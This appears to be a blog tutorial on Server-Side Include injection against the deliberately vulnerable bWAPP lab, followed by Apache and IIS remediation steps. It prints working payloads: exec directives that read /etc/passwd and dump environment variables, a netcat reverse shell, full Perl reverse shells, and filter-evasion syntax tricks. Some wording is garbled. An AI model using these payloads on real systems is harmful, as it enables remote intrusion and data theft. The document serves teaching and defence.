Server-Side Includes (SSI): A Lesser-Known Exploit Vector
Server Side Includes (SSI) provide developers a smooth method to dynamically build web pages in web development contexts. SSI provides developers with a tool to embed dynamic elements into HTML documents through a system that does not require advanced knowledge of server and client programming. SSIs serve both performance optimization and serve as risks for exploitation whenever developers fail in their configuration.This piece of content provides a dual understanding of SSI as it affects developers and attackers. This article introduces the analysis of typical SSI commands by explaining their unique syntax along with discussing manipulation techniques which can result in undesired consequences for attackers.What Is SSI, Really?The server processes HTML comments containing embedded special directives through SSI. Server directives such as <!--#include--> and <!--#exec--> inform the server to carry out instructions before generating the HTML content which will be sent to the client. The dual functionality of this design architecture enables a browser to interpret unprocessed SSI by viewing them as comments when SSI processing fails.LabTo access the lab, we will be using bee box and intentionally vulnerable application that we can runs applications like bwapp on vmware. You can download the vm from here and feel free to use google and youtube. I have tried other methods like docker, but SSI injection lab had some errors and I personally find installing bee box on vmware to be the easiest way to access this lab. Breaking Down the SSI DirectivesLets walk through some practical examples and explain what each command does, why the syntax looks a bit off, and what makes it a potential vector for attack when exploited.1. Viewing System Files<!--#exec cmd="cat /etc/passwd"-->Through its exec directive this command instructs the server to execute the shell command cat /etc/passwd. The user account information lies within this file on Unix-like systems. An attacker who succeeds in SSI injection could exploit this vulnerability to access important system data even though an ideal secure setup should not disclose such information publicly.The directive embeds its contents inside an HTML comment which appears to be there for documentation purposes. The browser ignores HTML comments yet when configured to handle SSI the server performs command execution. The specific structure of SSI allows it to appear alongside normal HTML coding.Screenshot: 2. Listing Directory Contents<!--#exec cmd="ls" -- >Here, the exec directive executes the ls command which lists down all the files and directories present in the current working directory. It is just one simple way to know how many files are available on the server.Simple noticing of the extra space and the way is formatted via closing tag (-- > instead of the standard -->). Occasionally, they modify the syntax to evade simple pattern-based firewalls on websites. Such tiny glitches could help enter undetected while being properly interpreted by a vulnerable server.Screenshot: 3. Echoing Environment VariablesSSI isnt just a command execution techit could even be used for information disclosure through environment variables. Consider these examples: a. Document Name<!--#echo var="DOCUMENT_NAME" -- > This directive outputs the value of the DOCUMENT_NAME environment variable, usually, the current files name. A useful operation to check that SSI is working and obtain metadata regarding the file being processedScreenshot: b. Last Modified Date<!--#echo Var="LAST_MODIFIED" -->Here, echo retrieves LAST_MODIFIED environment variable showing when the file was last modified. This kind of information can both a contributions, and a malicious individuals trace out the files life and the timeline of changes.Screenshot: c. Document URI<!--#echo var="DOCUMENT_URI" -- >This command just echoes the DOCUMENT_URI, which is the path in the server where lies the file. It is another method that helps verify the servers internal routing and naming schemes.Screenshot: 4. Printing the Entire Environment<!--#printenv --> The printenv directive equals all environment variables present in the server. For an attacker this could be a treasure trove of information as this commands returns all essential information about the server configurations down to potential secrets that might be stored in environment variables.Screenshot: 5. Opening a Reverse Shell with Netcat<!--#exec cmd="nc 192.168.1.9 443 -e /bin/sh" -->The critical issue arises with SSI at this point. The script makes an attempt to create a thus named shell back to a remote server at 192.168.1.9 port 443 by using the Netcat (nc) utility. The command reaches an unauthorized attacker-controlled server located at 192.168.1.9:443 to establish a connection that connects to the system shell located at /bin/sh. The server enables interactive remote access to the attacker if the command executes successfully.Important Note: The command shows its output through the website instead of directing it to the Netcat listener. When the web server captures STDOUT from the script it displays the output in the HTML response to users. Multiple interactive reverse shell sessions require all streams of input and output to receive proper redirection.After executing commands like pwd, whoami, and ls through the shell, you may see outputs like:pwd /var/www/bWAPP whoami www-dataAnd from the Netcat listener:/var/www/bWAPP via sudo nc -lvnp 443 Listening on 0.0.0.0 443 ls Connection received on 192.168.1.7 48389 ls whoami pwd6. Crafting a Perl Reverse ShellHackers sometimes select Perl because it provides superior options for changing reverse shell functionality. Consider this payload:<!--#exec cmd="perl -e 'use Socket;$i=\"192.168.1.9\";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));connect(S,sockaddr_in($p,inet_aton($i)));while(<S>){system($_);}'" -->The script opens a TCP connection to the attackers specified IP and port while executing commands entered into the connection on the server system. The script produces output which may display on the website because it directs information to STDOUT. The Fix: Redirecting I/O Correctly (failed attempt)Obtaining complete Netcat-based interactive shell functionality requires you to specifically redirect the standard input/output/error streams.<!--#exec cmd="perl -e 'use Socket;$i=\"192.168.1.9\";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));connect(S,sockaddr_in($p,inet_aton($i)));open(STDIN,\"<&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");'" -->Key Changes:open(STDIN,"<&S");open(STDOUT,">&S");open(STDERR,">&S");The commands redirect all streams of inputs and outputs and errors to connect with the Netcat service. The output direction flows directly from your listener instead of returning to the web page thanks to this redirection method which makes the session fully interactive.But this is real life, and not everything goes as expected, and this breaks the web application and our payload does not execute as expected.Screenshot of Failed attempt: 7. Displaying the Local Date<!--#echo var="DATE_LOCAL" -->The single command displays the local date together with the current time on the servers system. Server time settings knowledge assists attackers to synchronize their activities and gain better understanding of the working environment.Screenshot: Why Does the Syntax Look So Weird?At first glance, SSI directives can seem like a jumble of characters. Theres a reason for this:HTML Comment Wrapping: SSIs embed their directives using HTML comment syntax where the server recognizes <!--#command--> as the starting syntax. This programming structure has been implemented to make sure the browser skips SSI when the server does not read them. Security Evasion: The attackers exploit security weaknesses by adding spaces or changing letter cases to evade protection measures on servers. Technical jargon contributes to this unusual syntax format because attackers use such irregular formatting against servers that lack proper security measures or adequate sanitization systems. Dual-Purpose Nature: The directives must maintain two functions by remaining valid HTML for browsers to ignore them while functioning as interpretable commands for servers. A dual-purpose structure creates complicated syntax which functions between server commands and HTML standards.Remediation: Securing Your Server Against SSI VulnerabilitiesServer-Side Includes (SSI) offer a convenient way to dynamically include content, but they also open up potential security risks if not properly managed. In Apache, SSI is often configured through specific options and file extensionstypically, files with the .shtml extension trigger the server to parse SSI directives embedded in HTML comments. If your site doesnt need SSI, or if you need to secure it against injection attacks, the following steps will help you disable or safely configure SSI on your web server. In this blog we will be having a look on how to prevent this vulnerability in apache and in IIS servers.Disabling SSI in ApacheMethod 1: Modify the Main Configuration FileLocate Your Configuration File: Apache configuration files exist mainly in two main locations on different systems: /etc/httpd/conf/httpd.conf (CentOS/RedHat) /etc/apache2/apache2.conf (Ubuntu/Debian)Edit the File: Your website needs you to open its configuration file using a text editor where you should find the <Directory> block. Disable SSI Processing: Add or update the directive: Options -Includes Processing SSI directives in that directory becomes disabled by adding the instruction. Restart Apache: Execute the configuration changes through an Apache service restart. sudo systemctl restart apache2 # or sudo service httpd restartMethod 2: Use a .htaccess FileAssume there is a directory at /var/www/html/insecure-dir which SSI is on for. You can disable this by following the below detailed steps.Navigate to the Directory: cd /var/www/html/insecure-dir Make a new or edit the .htaccess file: nano .htaccess Add the Following Line: Options -IncludesSave and Exit: With this change, Apache will not execute PROCESS directive any more in /insecure-dir.Method 3: Remove SSI HandlersDelete the File Extensions Linked to SSI: If the SSI is turned on merely because of file extensions like .shtml, then add the following line in Apache configuration or .htaccess file: RemoveHandler .shtml This prevents Apache from server-side includes in files of those types.Disabling SSI in IISMethod 1: Using IIS ManagerOpen IIS Manager: Choose your website from the left-hand tab. Modify Handler Mappings: In the middle panel, double-click Handler Mappings. Go to find any handlers connected to Server-Side Includes, select it with Right-click + Remove or Left-Click + Disable. Method 2: Edit the applicationHost.config FileLocate the File: The applicationHost.config file are commonly found at: C:\Windows\System32\inetsrv\config\applicationHost.config. Disable SSI Globally: Open the file as administrator, and within the <system.webServer> section, open and add or: <serverSideInclude ssiExecDisable="true" /> Save the file and then restart IIS in order to have changes applied. Method 3: Disable Directory BrowsingTurn Off Directory Browsing: In IIS Manager, offuscia double-click Directory Browsing for your site, set it to Off. This reduces the exposure of the SSI enabled files.ConclusionServer Side Includes serves as an instrument that speeds up web page development for dynamic content. Functional capabilities of Server Side Includes provide both advantages and opportunities for attackers when security measures are absent. SSI directives allow us to see both the practical benefit and potential dangers of this technology after learning their operation through exploring single VARIABLE echoes up to advanced interactive shell commands.The lesson for developers should focus on both very strict management of user-controlled input along with avoiding harmful SSI configurations. Web infrastructure protection relies on complete understanding of every element in a technology including Server Side Includes, even though SSI was developed long ago.Taking proactive steps allows users to preserve dynamic content benefits together with secure web application operation.
English
Arabic
French
Spanish
Deutsch
Turkish
Dutch
Italiano
Russian
Romaian
Portuguese (Brazil)
Greek